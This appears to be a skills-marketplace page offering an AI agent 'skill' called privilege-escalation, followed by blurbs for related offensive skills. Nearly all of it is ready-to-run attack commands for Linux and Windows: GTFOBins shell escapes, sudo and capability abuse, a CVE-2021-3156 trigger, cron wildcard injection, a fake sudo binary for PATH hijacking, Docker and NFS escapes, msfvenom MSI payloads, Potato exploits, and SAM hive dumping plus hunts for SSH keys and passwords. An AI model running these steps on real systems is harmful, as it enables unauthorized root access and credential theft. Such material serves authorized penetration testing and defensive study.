메뉴
Comprehensive privilege escalation methodology for Linux and Windows. Covers kernel exploits, SUID binaries, service misconfigurations, credential harvesting, and both local privilege escalation paths.
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
SOC 직업 분류 기준
| name | privilege-escalation |
| description | Comprehensive privilege escalation methodology for Linux and Windows. Covers kernel exploits, SUID binaries, service misconfigurations, credential harvesting, and both local privilege escalation paths. |
Privilege escalation allows attackers to gain higher-level permissions on a compromised system. This skill covers Linux and Windows privilege escalation techniques.
System Information:
uname -a
cat /etc/os-release
cat /proc/version
cat /etc/issue
hostnamectl
User Information:
whoami
id
groups
cat /etc/passwd
cat /etc/group
getent group sudo
getent group wheel
last
lastlog
Environment Variables:
env
printenv
set
echo $PATH
Common Exploits:
Detect Vulnerable Kernel:
uname -r
cat /etc/os-release
searchsploit linux kernel $(uname -r | cut -d'-' -f1)
Find SUID Binaries:
find / -perm -4000 -type f 2>/dev/null
find / -perm -4000 -ls 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
Find SGID Binaries:
find / -perm -2000 -type f 2>/dev/null
GTFOBins:
# Search for SUID abuse on GTFOBins
curl https://gtfobins.github.io/
# Common SUID privesc vectors:
# - vim: vim -c ':!/bin/sh'
# - find: find . -exec /bin/sh \; -quit
# - less: less /etc/profile + !/bin/sh
# - more: more /etc/profile + !/bin/sh
# - nano: nano + ^R ^X reset; sh 1>&0 2>&0
# - man: man man + !/bin/sh
# - awk: awk 'BEGIN {system("/bin/sh")}'
# - nmap: nmap --interactive + !sh
# - python: python -c 'import os; os.execl("/bin/sh", "sh")'
# - perl: perl -e 'exec "/bin/sh";'
Check Sudo Permissions:
sudo -l
sudo -l -U username
Sudo Abuse (GTFOBins):
# Common sudo privesc:
# ALL NOPASSWD: /bin/bash
sudo /bin/bash
# sudoedit with editor
EDITOR='vi -- /etc/sudoers' sudoedit /etc/passwd
# LD_PRELOAD
sudo LD_PRELOAD=/path/to/evil.so command
# Via awk
sudo awk 'BEGIN {system("/bin/sh")}'
# Via python
sudo python -c 'import os; os.system("/bin/sh")'
# Via find
sudo find / -exec /bin/sh \; -quit
Sudo Version Exploits:
# CVE-2021-3156 (Sudo Baron Samedit)
# Check: sudoedit -s /'
sudoedit -s /' $(python3 -c 'print("A"*4000)')
Enumerate Capabilities:
getcap -r / 2>/dev/null
find / -type f -print0 2>/dev/null | xargs -0 getcap
Dangerous Capabilities:
cap_setuid - Can change UIDcap_setgid - Can change GIDcap_sys_admin - Administrative privilegescap_dac_read_search - Bypass DAC restrictionscap_sys_ptrace - Process debuggingExploit Examples:
# python with cap_setuid
/usr/bin/python3 = cap_setuid+ep
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# tar with capabilities
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
# openssl read arbitrary files
openssl enc -in /etc/shadow
Enumerate Cron:
cat /etc/crontab
ls -la /etc/cron*
cat /var/spool/cron/*
crontab -l
find /etc/cron* -type f -perm -o+w 2>/dev/null
Writable Cron Scripts:
# If script is writable and runs as root
ls -la /usr/local/bin/clean.sh
# Add: cp /bin/bash /tmp/bash; chmod +s /tmp/bash
Wildcards in Cron:
# If cron uses wildcard *
# Create files that are interpreted as tar options
echo 'sh -c "chmod +s /bin/bash"' > /var/log/runme.sh
echo "" > /var/log/--checkpoint=1
echo "" > /var/log/--checkpoint-action=exec=sh runme.sh
Current PATH:
echo $PATH
Writable Directories in PATH:
for dir in $(echo $PATH | tr ':' ' '); do
[ -w "$dir" ] && echo "Writable: $dir"
done
Create Malicious Binary:
# If /home/user/bin is in PATH and writable
cd /home/user/bin
cat > sudo << 'EOF'
#!/bin/bash
/bin/bash
EOF
chmod +x sudo
# Wait for victim to run sudo
Check NFS:
cat /etc/exports
showmount -e localhost
Exploit no_root_squash:
# If no_root_squash is set
# Mount on attacker machine
mount -t nfs target:/shared /mnt/nfs
cd /mnt/nfs
cp /bin/bash .
chmod +s bash
# Run on target: ./bash -p
Check Container Status:
ls -la /.dockerenv
cat /proc/1/cgroup
docker ps
id # Check for docker group
Docker Privilege Escalation:
# If user is in docker group
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
Docker Socket:
# If docker.sock is exposed
docker -H unix:///var/run/docker.sock run --rm -v /:/mnt -it alpine chroot /mnt sh
Privileged Container:
# Check: cat /proc/self/status | grep Cap
# If CapEff: 0000003fffffffff
# Escape via:
# mount cgroup
mkdir /tmp/cgroup && mount -t cgroup -o memory,rdma cgroup /tmp/cgroup
# OR
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
Loaded Modules:
lsmod
cat /proc/modules
Writable Kernel Modules:
find /lib/modules -writable 2>/dev/null
Find SSH Keys:
find / -name "id_rsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null
find / -name "*.pem" 2>/dev/null
History Files:
cat ~/.bash_history
cat ~/.zsh_history
cat ~/.mysql_history
cat ~/.psql_history
find /home -name "*history" 2>/dev/null
Configuration Files:
grep -r "password" /etc/*.conf 2>/dev/null
grep -r "pass" /var/www/html/* 2>/dev/null
find /var/www -name "config*" -o -name "*.php" -o -name "*.xml" 2>/dev/null
Backup Files:
find / -name "*.bak" 2>/dev/null
find / -name "*.backup" 2>/dev/null
find / -name "*~" 2>/dev/null
System Information:
systeminfo
ver
hostname
whoami /all
User Information:
whoami
whoami /groups
whoami /priv
net user
net localgroup administrators
net localgroup "Remote Management Users"
qwinsta
Network Information:
ipconfig /all
route print
netstat -ano
arp -a
Process Information:
tasklist /v
tasklist /svc
wmic process list brief
Service Information:
sc query
sc query type= service
wmic service get name,displayname,pathname,startmode
Check Current Privileges:
whoami /priv
Dangerous Privileges:
Common Exploits:
Check Patch Level:
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"Hotfix(s)"
wmic qfe get Caption,Description,HotFixID,InstalledOn
Exploit Suggester:
# Windows Exploit Suggester
python windows-exploit-suggester.py -d windows-db.xlsx -i systeminfo.txt
Check Service Permissions:
sc qc <service>
accesschk.exe -uwcqv "Authenticated Users" *
accesschk.exe -uwcqv "Everyone" *
Unquoted Service Paths:
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32" | findstr /i /v '"'
Exploit Unquoted Path:
# If path is: C:\Program Files\Some Service\service.exe
# Create: C:\Program.exe with payload
Insecure Service Permissions:
# If service has change config permissions
sc config <service> binpath= "C:\evil.exe"
sc start <service>
Insecure Registry Permissions:
# Check registry permissions
reg query "HKLM\System\CurrentControlSet\Services\<service>"
# If ImagePath is writable
Check Registry:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Exploit:
# Create malicious MSI
msfvenom -p windows/exec CMD="cmd.exe" -f msi > evil.msi
msiexec /quiet /qn /i C:\evil.msi
Enumerate Tasks:
schtasks /query /fo LIST /v
type C:\Windows\System32\Tasks\*
Check Task Permissions:
# Look for writable task files
accesschk.exe /accepteula -quv "C:\Windows\System32\Tasks"
Potato Family (SeImpersonatePrivilege):
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {clsid}
RoguePotato.exe -r 10.10.10.10 -e "cmd.exe"
SweetPotato.exe -a "whoami"
GodPotato.exe -cmd "cmd /c whoami"
PrintSpoofer:
PrintSpoofer.exe -i -c cmd
Check Autorun Locations:
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
dir "C:\Users\*\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
Credential Manager:
vaultcmd /list
vaultcmd /listcreds:"Windows Credentials"
Saved Credentials:
cmdkey /list
Runas with Saved Creds:
runas /savecred /user:administrator cmd.exe
Extract from SAM:
# If SAM/SYSTEM/SECURITY are accessible
reg save HKLM\SAM C:\temp\SAM
reg save HKLM\SYSTEM C:\temp\SYSTEM
reg save HKLM\SECURITY C:\temp\SECURITY
# Dump with secretsdump
secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL
Check Exclusions:
Get-MpPreference | Select-Object -Property ExclusionPath, ExclusionExtension, ExclusionProcess
Writable PATH Directories:
$env:Path -split ";" | ForEach-Object { if (Test-Path $_ -PathType Container) {
$acl = Get-Acl $_; if ($acl.Access | Where-Object { $_.FileSystemRights -match "Write" }) { Write-Output "Writable: $_" } } }
# LinPEAS
./linpeas.sh
# LinEnum
./LinEnum.sh -r report
# Linux Smart Enumeration
./lse.sh -l2
# Unix Privesc Check
./upc.sh
# pspy
./pspy64 -pf -i 1000
# GTFOBins
# https://gtfobins.github.io/
# WinPEAS
winPEASany.exe
# PowerUp
. .\PowerUp.ps1
Invoke-AllChecks
# PrivescCheck
. .\PrivescCheck.ps1
Invoke-PrivescCheck
# Windows Exploit Suggester
. .\WES.ps1
Get-WES
# Seatbelt
Seatbelt.exe -group=all
# SharpUp
SharpUp.exe
Command injection testing methodology covering OS command injection, code injection, filter evasion, blind command injection, and shell-specific techniques for bash, PowerShell, and cmd.exe.
Multi-step exploit chaining methodology for combining low-severity findings into full compromise paths. Covers attack chain scoring, approval gates, and systematic approach to turning individual findings into complete attack paths.
Comprehensive reconnaissance methodology covering OSINT, subdomain enumeration, technology fingerprinting, DNS reconnaissance, and attack surface mapping. Includes passive and active recon techniques with OPSEC considerations.
Comprehensive SQL injection testing methodology covering Union-based, Error-based, Blind (Boolean/Time-based), Stacked queries, and WAF bypass techniques. Includes database-specific payloads for MySQL, PostgreSQL, MSSQL, Oracle, SQLite, and NoSQL injection.
Comprehensive Server-Side Request Forgery (SSRF) testing methodology covering basic SSRF, blind SSRF, DNS rebinding, cloud metadata exploitation, and gopher/redis attacks. Includes bypass techniques and automation.
Master XSS testing methodology including reflected, stored, DOM-based XSS, polyglot payloads, WAF bypass techniques, CSP bypass, and DOM clobbering. Covers blind XSS, XSS via file uploads, and mutation XSS.